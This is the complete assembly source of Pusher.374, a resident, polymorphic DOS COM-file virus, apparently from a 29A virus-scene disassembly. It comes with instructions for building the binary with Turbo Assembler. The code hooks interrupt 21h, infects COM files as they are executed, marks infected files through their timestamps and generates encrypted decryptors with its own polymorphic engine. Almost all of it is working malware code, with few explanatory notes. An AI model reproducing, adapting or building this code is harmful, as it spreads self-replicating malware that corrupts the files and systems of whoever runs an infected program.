comment * Pusher.374 млллллм млллллм млллллм Disassembly by ллл ллл ллл ллл ллл ллл Darkman/29A мммллп плллллл ллллллл лллмммм ммммллл ллл ллл ллллллл ллллллп ллл ллл Pusher.374 is a 374 bytes resident appending COM virus, it infects files at load and execute program. Pusher.374 is polymorphic in file using its internal polymorphic engine. I would like to thank Poltergeist for providing me the binary of this virus. Compile Pusher.374 with Turbo Assembler v 5.0 by typing: TASM /M PUSH_374.ASM TLINK /x PUSH_374.OBJ EXE2BIN PUSH_374.EXE PUSH_374.COM * .model tiny .code code_begin: call delta_offset origin_code db 11001101b,00100000b,? db '[PUSH]' ; Name of the virus delta_offset: pop si ; Load SI from stack mov di,100h ; DI = offset of beginning of code push di ; Save DI at stack movsb ; Move the original code to beginning movsw ; " " " " " " mov ax,0b8cdh ; Pusher.374 function int 21h dec si ; SI = delta offset dec si ; " " " " dec si ; " " " " dec si ; " " " " dec si ; " " " " dec si ; " " " " inc ax ; Already resident? jz virus_exit ; Zero? Jump to virus_exit push ds es ; Save segments at stack mov ax,3521h ; Get interrupt vector 21h int 21h mov word ptr [si+int21_addr+02h],es mov word ptr [si+int21_addr],bx pop es ; Load ES from stack push es ; Save ES at stack mov ah,4ah ; Resize memory block mov bx,0ffffh ; BX = new size in paragraphs int 21h mov ah,4ah ; Resize memory block sub bx,(data_end-code_begin+0fh)/10h+01h int 21h mov ah,48h ; Allocate memory mov bx,(data_end-code_begin+0fh)/10h int 21h mov di,01h ; DI = PSP segment of owner or spe... dec ax ; AX = segment of current Memory C... mov es,ax ; ES = " " " " " inc ax ; AX = segment of Program Segment ... stosw ; Store Program Segment Prefix (PSP) mov di,10h ; DI = offset of virus mov cx,(code_end-code_begin)/02h rep movsw ; Move the virus to top of memory mov ds,ax ; DS = segment of virus lea dx,int21_virus ; DX = offset of int21_virus mov ax,2521h ; Set interrupt vector 21h int 21h pop es ds ; Load registers from stack virus_exit: ret (code_end-code_begin) virus_offset equ word ptr $+01h ; Offset of virus within infected ... infect_code db 11101001b,?,? ; JMP imm16 (opcode 0e9h) int21_virus proc near ; Interrupt 21h of Pusher.374 cmp ax,0b8cdh ; Pusher.374 function? jne not_push_fun ; Not equal? Jump to not_push_fun mov ax,0ffffh ; Already resident iret ; Interrupt return infect_file proc near ; Infect COM file mov ax,4202h ; Set current file position (EOF) call set_file_pos dec ax ; AX = offset of virus within infe... dec ax ; " " " " " " " dec ax ; " " " " " " " mov [virus_offset],ax ; Store offset of virus within inf... push bx ; Save BX at stack call push_poly pop bx ; Load BX from stack mov ah,40h ; Write to file int 21h mov ax,4200h ; Set current file position (SOF) set_file_pos proc near ; Set current file position (EOF) cwd ; Zero DX get_file_att proc near ; Get file attributes xor cx,cx ; Zero CX int 21h ret ; Return endp endp endp random_num dw 1100001111000011b ; 16-bit random number not_push_fun: cmp ax,4b00h ; Load and execute program? push ax bx ; Save registers at stack jne int21_exit ; Not equal? Jump to int21_exit mov ah,43h ; Get file attributes int 21h jc int21_exit ; Error? Jump to int21_exit mov ax,4301h ; Get file attributes push ax cx dx ds ; Save registers at stack call get_file_att jc set_file_att ; Error? Jump to set_file_att mov ax,3d02h ; Open file (read/write) int 21h jc set_file_att ; Error? Jump to set_file_att xchg ax,bx ; BX = file handle mov ax,5700h ; Get file's date and time int 21h jc close_file ; Error? Jump to close_file db 10001001b,11001000b ; MOV AX,CX (opcode 89h,0c8h) and ax,0000000000011111b dec ax ; Already infected? jz close_file ; Zero? Jump to close_file push cx dx ; Save registers at stack mov cx,03h ; Read three bytes push cs ; Save CS at stack pop ds ; Load DS from stack (CS) mov ah,3fh ; Read from file mov dx,cx ; DX = offset of origin_code int 21h jc set_inf_mark ; Error? Jump to set_inf_mark cmp [origin_code],'M' ; EXE signature? je set_inf_mark ; Found EXE signature? Jump to set... call infect_file lea dx,infect_code ; DX = offset of infect_code mov cx,03h ; Write three bytes mov ah,40h ; Write to file int 21h set_inf_mark: pop dx ax ; Load registers from stack and al,11100000b ; AL = new time xchg ax,cx ; CX = " " inc cx ; " " " " mov ax,5701h ; Set file's date and time xor [random_num],ax ; Store 16-bit random number int 21h close_file: mov ah,3eh ; Close file int 21h set_file_att: pop ds dx cx ax ; Load registers from stack int 21h int21_exit: pop bx ax ; Load registers from stack jmp int21_exit_ comment * Pusher.374 (polymorphic engine) млллллм млллллм млллллм Disassembly by ллл ллл ллл ллл ллл ллл Darkman/29A мммллп плллллл ллллллл лллмммм ммммллл ллл ллл ллллллл ллллллп ллл ллл Garbage instructions: INC AX; DEC AX; MOV AL,imm8; MOV AH,imm8; ADD AX,imm16; SUB AX,imm16 Decryptor: MOV AX,imm16 (Two bytes of the virus) PUSH AX INC AX PUSH AX MOV AL,imm8 PUSH AX MOV AH,imm8 PUSH AX ADD AX,imm16 PUSH AX SUB AX,imm16 PUSH AX ... JMP SP Minimum length of decryptor Depends on the virus length. Maximum length of decryptor Depends on the virus length. Length of Pusher.374 (polymorphic engine): 111 bytes. * push_poly proc near ; Pusher.374 (polymorphic engine) lea di,data_buffer ; DI = offset of data_buffer pushf ; Save flags at stack push di ; Save DI at stack in ax,40h ; AX = 16-bit random number xchg ax,bp ; BP = " " " mov dx,(code_end-code_begin+02h)/02h lea si,[di-02h] ; SI = offset of end of virus std ; Set direction flag lodsw ; AX = two bytes of the virus mov byte ptr [di],10111000b inc di ; DI = offset of 16-bit immediate mov [di],ax ; Store 16-bit immediate next_instr: inc di ; DI = offset of next instruction next_instr_: inc di ; DI = " " " " gen_push_ax: dec dx ; Finnished generating the polymor..? jnz gen_inc_ax ; Not zero? Jump to gen_inc_ax mov [di],1110010011111111b inc di ; DI = offset of next instruction pop dx ; Load DX from stack inc di ; DI = offset of next instruction sub di,dx ; DI = length of decryptor + encry... mov cx,di ; CX = " " " " " popf ; Load flags from stack ret ; Return gen_inc_ax: mov byte ptr [di],01010000b inc di ; DI = offset of next instruction xchg ax,bx ; BX = previous two bytes of the v... lodsw ; AX = two bytes of the virus db 10001001b,11000001b ; MOV CX,AX (opcode 89h,0c1h) db 00101001b,11011001b ; SUB CX,BX (opcode 29h,0d9h) jz gen_push_ax ; Zero? Jump to gen_push_ax loop gen_dec_ax mov byte ptr [di],01000000b jmp next_instr_ gen_dec_ax: inc cx ; Increase difference between prev... inc cx ; " " " " jnz gen_mov_al ; Not zero? Jump to gen_mov_al mov byte ptr [di],01001000b jmp next_instr_ gen_mov_al: dec cx ; Decrease difference between prev... db 00111000b,11111100b ; CMP AH,BH (opcode 38h,0fch) jne gen_mov_ah ; Not equal? Jump to gen_mov_ah mov byte ptr [di],10110000b inc di ; DI = offset of 8-bit immediate mov [di],al ; Store 8-bit immediate jmp next_instr_ gen_mov_ah: db 00111000b,11011000b ; CMP AL,BL (opcode 38h,0d8h) jne gen_add_ax ; Not equal? Jump to gen_add_ax mov byte ptr [di],10110100b inc di ; DI = offset of 8-bit immediate mov [di],ah ; Store 8-bit immediate jmp next_instr_ gen_add_ax: mov byte ptr [di],00000101b inc bp ; Increase 16-bit random number rol bp,01h ; Rotate 16-bit random number one ... jnc gen_add_ax_ ; Carry? Jump to gen_add_ax_ mov byte ptr [di],00101101b neg cx ; Negate 16-bit immediate gen_add_ax_: inc di ; DI = offset of 16-bit immediate mov [di],cx ; Store 16-bit immediate jmp next_instr endp int21_exit_: db 11101010b ; JMP imm32 (opcode 0eah) int21_addr dd ? ; Address of interrupt 21h endp code_end: data_buffer db 38ah dup(?) ; Data buffer data_end: end code_begin